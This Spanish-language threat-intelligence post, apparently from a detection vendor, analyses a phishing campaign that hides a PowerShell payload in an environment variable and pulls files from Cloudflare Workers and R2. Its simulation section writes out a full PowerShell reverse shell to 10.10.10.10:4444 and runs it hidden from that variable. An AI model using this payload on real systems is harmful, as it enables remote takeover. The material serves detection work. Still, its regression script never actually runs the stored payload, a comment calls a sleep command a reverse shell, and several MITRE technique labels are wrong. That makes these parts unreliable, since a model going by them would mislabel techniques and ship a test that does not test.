SOC Prime Bias: Medio

05 Jun 2026 15:49 UTC

El Regreso del Malvado Fondo de MSI

Author Photo
SOC Prime Team linkedin icon Seguir
El Regreso del Malvado Fondo de MSI
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Un correo electrónico de phishing que lleva un enlace de WeTransfer entrega un archivo JavaScript que almacena una carga útil ofuscada dentro de una variable de entorno. Esa carga se decodifica y ejecuta más tarde a través de PowerShell iniciado mediante WMI, que descarga un JPEG malicioso al estilo MSI y un DLL .NET desde Cloudflare Workers y almacenamiento R2. El DLL es una compilación modificada de Microsoft.Win32.TaskScheduler utilizada para cargar cargas útiles adicionales y posiblemente crear persistencia a través de tareas programadas. La campaña destaca cómo los actores de amenazas continúan abusando de servicios en la nube legítimos para alojar y distribuir componentes maliciosos.

Investigación

El analista identificó un archivo JavaScript inicial llamado Remittance Advice.js que contiene código ofuscado con ROT13 que crea la variable de entorno INTERNAL_DB_CACHE . Luego, PowerShell se inicia en una ventana oculta a través de WMI y ejecuta el bloque de script decodificado. Ese script recupera un archivo JPEG de un subdominio workers.dev y un archivo PNG de un bucket público r2.dev , ambos probablemente usados para llevar cargas adicionales mediante métodos esteganográficos. El componente de la etapa final es un DLL .NET derivado de la biblioteca TaskScheduler de código abierto.

Mitigación

Las organizaciones deben bloquear el acceso a dominios maliciosos conocidos, como we.tl, workers.dev, y r2.dev en el nivel de firewall o proxy. La ejecución de PowerShell y la creación de procesos basados en WMI deben restringirse para usuarios no confiables siempre que sea posible. Los defensores también deben monitorear la ejecución oculta de PowerShell, el abuso del método Win32_Process.Create , y las variables de entorno inusuales como INTERNAL_DB_CACHE. Los archivos descargados del almacenamiento en la nube pública deben someterse a validación e inspección estrictas.

Respuesta

Los equipos de seguridad deben alertar cuando se inicie PowerShell con una ventana oculta a través de WMI y cuando se cree o modifique la variable INTERNAL_DB_CACHE . Cualquier proceso que se conecte a las URL identificadas o descargue contenido desde workers.dev or r2.dev debe investigarse de inmediato. El análisis forense debe centrarse en localizar el DLL .NET malicioso e identificar nuevas tareas programadas que dependan de la biblioteca TaskScheduler. Los hosts afectados deben ser remediados de inmediato, y se debe actualizar el contenido de detección con los indicadores observados.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[«<b>Acción</b> – <b>T1566.002 Phishing: Enlace de spearphishing</b><br/><b>Descripción</b>: Envía un correo electrónico con un enlace malicioso de WeTransfer a las víctimas»] class action_phishing action tool_js[«<b>Herramienta</b> – <b>Carga útil JavaScript</b><br/><b>Técnicas</b>: T1027.008 Archivos o información ofuscados, T1132 Codificación de datos<br/><b>Descripción</b>: Se ejecuta y establece una variable de entorno que contiene una carga útil ROT13/Base64 modificada»] class tool_js tool process_wmi_ps[«<b>Proceso</b> – <b>PowerShell mediante WMI</b><br/><b>Técnicas</b>: T1216 Ejecución por proxy mediante binario firmado, T1036.009 Suplantación, T1564.010 Ocultar artefactos<br/><b>Descripción</b>: Inicia un proceso PowerShell oculto a través de WMI»] class process_wmi_ps process malware_taskdll[«<b>Malware</b> – <b>DLL .NET TaskScheduler</b><br/><b>Técnica</b>: T1127.003 Ejecución por proxy mediante utilidades de desarrollo confiables<br/><b>Descripción</b>: Carga la carga útil decodificada como una DLL .NET y la registra en el Programador de tareas»] class malware_taskdll malware tool_downloader[«<b>Herramienta</b> – <b>Descargador</b><br/><b>Técnicas</b>: T1578 Adquirir infraestructura, T1538 Datos desde almacenamiento en la nube, T1537 Transferir datos a una cuenta en la nube<br/><b>Descripción</b>: Recupera archivos adicionales desde Cloudflare Workers y almacenamiento R2»] class tool_downloader tool file_png[«<b>Archivo</b> – <b>PNG esteganográfico</b><br/><b>Descripción</b>: Imagen PNG que contiene datos ocultos que posteriormente son procesados»] class file_png file %% Connections showing attack flow action_phishing –>|entrega| tool_js tool_js –>|ejecuta_y_establece| process_wmi_ps process_wmi_ps –>|inicia| malware_taskdll malware_taskdll –>|carga| tool_downloader tool_downloader –>|obtiene| file_png

Flujo de Ataque

Ejecución de Simulación

Prerequisito: El Control de Pre-vuelo de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    El atacante primero inyecta una carga útil de PowerShell codificada en base64 en una variable de entorno a nivel de proceso llamada INTERNAL_DB_CACHE. Esta carga, cuando se decodifica, lanza un shell inverso. Luego, el atacante invoca un segundo proceso de PowerShell que lee la variable y la ejecuta a través de ScriptBlock::Create, manteniendo así el comando malicioso fuera de la línea de comandos inmediata. Este enfoque de «vivir de la tierra» evita la detección por firmas estáticas y aprovecha el patrón de dos pasos que la regla está diseñada para capturar.

    1. Etapa 1 – Codificar la carga útil y almacenarla en la variable de entorno

      $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
      $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    2. Etapa 2 – Ejecutar la carga útil codificada desde la variable de entorno

      powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
  • Script de Prueba de Regresión: El guion de abajo automatiza los dos pasos, captura marcas de tiempo para correlación, e inserta una pequeña pausa para permitir que el primer proceso termine antes de que empiece el segundo.

    # ----------------------------------------------
    # Simulación en PowerShell de carga útil codificada en variable de entorno
    # ----------------------------------------------
    
    # Paso 1 – Codificar una carga útil de shell inverso inofensiva (reemplazar con tu dirección C2)
    $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Carga útil pequeña e inofensiva para pruebas seguras
    $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    Write-Host "[*] Variable de entorno INTERNAL_DB_CACHE establecida."
    
    # Pausa corta para asegurar que el primer comando se registre
    Start-Sleep -Seconds 2
    
    # Paso 2 – Ejecutar la carga útil desde la variable
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
    Write-Host "[*] Ejecución de carga útil activada."
  • Comandos de Limpieza: Eliminar la variable de entorno temporal y terminar cualquier proceso extraviado creado durante la prueba.

    # Eliminar la variable de entorno de prueba
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
    Write-Host "[*] LIMPIEZA – INTERNAL_DB_CACHE eliminada."
    
    # Asegurarse de que no queden instancias huérfanas de powershell.exe (excluir la sesión actual)
    Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
    Write-Host "[*] LIMPIEZA – procesos de PowerShell huérfanos terminados."